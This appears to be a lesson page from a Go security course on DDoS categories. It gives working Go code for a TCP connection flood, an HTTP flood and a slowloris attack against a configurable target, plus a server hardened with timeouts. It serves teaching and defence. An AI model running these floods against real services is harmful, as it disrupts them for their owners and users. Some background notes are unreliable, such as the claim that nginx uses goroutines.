Frontend Labs
⋯

Day 91 — DDoS Taxonomy & Attack Simulation

Learning objective Understand the four DDoS categories and what mitigation each requires
Key packages net, net/http, time, sync
Security context OWASP A05 — Security Misconfiguration; knowing attack types prevents deploying the wrong mitigation

Key Concepts

DDoS attack categories:

Category Mechanism Go-side impact Primary defense
Volumetric Saturate bandwidth (Gbps) Cannot defend at app layer Upstream scrubbing (Cloudflare, AWS Shield)
Protocol SYN flood, connection exhaustion net.Listen backlog fills; Accept goroutines starve Per-IP connection limits, TCP syncookies
Application HTTP flood, slowloris, slow POST Goroutine/memory exhaustion Rate limiting, request timeouts
Amplification UDP reflection (DNS, NTP, memcached) Your service weaponized against others Response size cap, per-IP rate limits

Exercise — Attack Pattern Simulators (localhost only)

package main

import (
    "context"
    "fmt"
    "net"
    "net/http"
    "sync"
    "time"
)

// 1. TCP Connection Flood — open many connections, send no data
func simulateTCPFlood(target string, count int) {
    var wg sync.WaitGroup
    conns := make([]net.Conn, 0, count)
    var mu sync.Mutex

    for i := 0; i < count; i++ {
        wg.Add(1)
        go func() {
            defer wg.Done()
            conn, err := net.DialTimeout("tcp", target, 2*time.Second)
            if err != nil {
                return
            }
            mu.Lock()
            conns = append(conns, conn)
            mu.Unlock()
            // Hold the connection open — simulate half-open
            time.Sleep(30 * time.Second)
            conn.Close()
        }()
    }

    time.Sleep(2 * time.Second)
    fmt.Printf("TCP flood: opened %d connections to %s\n", len(conns), target)
    wg.Wait()
}

// 2. HTTP Flood — maximum request rate
func simulateHTTPFlood(target string, rps int, duration time.Duration) {
    client := &http.Client{Timeout: 5 * time.Second}
    ctx, cancel := context.WithTimeout(context.Background(), duration)
    defer cancel()

    var sent, errs int64
    var mu sync.Mutex
    sem := make(chan struct{}, rps) // bound concurrency to target RPS

    ticker := time.NewTicker(time.Second / time.Duration(rps))
    defer ticker.Stop()

    for {
        select {
        case <-ctx.Done():
            mu.Lock()
            fmt.Printf("HTTP flood: %d requests sent, %d errors\n", sent, errs)
            mu.Unlock()
            return
        case <-ticker.C:
            sem <- struct{}{}
            go func() {
                defer func() { <-sem }()
                resp, err := client.Get(target)
                mu.Lock()
                defer mu.Unlock()
                if err != nil {
                    errs++
                    return
                }
                resp.Body.Close()
                sent++
            }()
        }
    }
}

// 3. Slowloris — send headers one byte at a time
func simulateSlowloris(target string, connCount int) {
    // Parse host/port
    host, port := "127.0.0.1", "8080"
    _ = host
    _ = port

    var wg sync.WaitGroup
    for i := 0; i < connCount; i++ {
        wg.Add(1)
        go func(id int) {
            defer wg.Done()
            conn, err := net.DialTimeout("tcp", target, 2*time.Second)
            if err != nil {
                return
            }
            defer conn.Close()

            // Send partial HTTP request — real headers drip in slowly
            conn.Write([]byte(fmt.Sprintf("GET /?id=%d HTTP/1.1\r\nHost: localhost\r\n", id)))

            // Drip one byte per second — Slowloris pattern
            headers := []byte("X-Slow: ")
            for j := 0; j < len(headers); j++ {
                time.Sleep(1 * time.Second)
                conn.Write(headers[j : j+1])
            }
            // Never send the final \r\n\r\n — connection stays open
            time.Sleep(30 * time.Second)
        }(i)
    }
    wg.Wait()
}

// DefendedServer demonstrates basic defenses against each attack type
func DefendedServer() *http.Server {
    mux := http.NewServeMux()
    mux.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
        w.Write([]byte("OK"))
    })

    return &http.Server{
        Addr:              ":8080",
        Handler:           mux,
        ReadHeaderTimeout: 5 * time.Second,  // Slowloris defense
        ReadTimeout:       30 * time.Second,
        WriteTimeout:      30 * time.Second,
        IdleTimeout:       60 * time.Second,
        MaxHeaderBytes:    1 << 16, // 64KB header limit
    }
}

Real-World Context

  • Slowloris killed Apache servers at PyCon 2009. nginx and Go servers are both resistant because they use goroutines per connection rather than one thread per connection — but goroutines still consume memory.
  • SYN flood is handled by the OS with tcp_syncookies on Linux. Your Go code needs to limit connections after Accept, not prevent Accept from being called.
  • HTTP flood is the most dangerous for Go services. Each request gets a goroutine. 100k req/s = 100k goroutines if your upstream is slow.

Generated from week13.md · 8 Oct 2026 16:36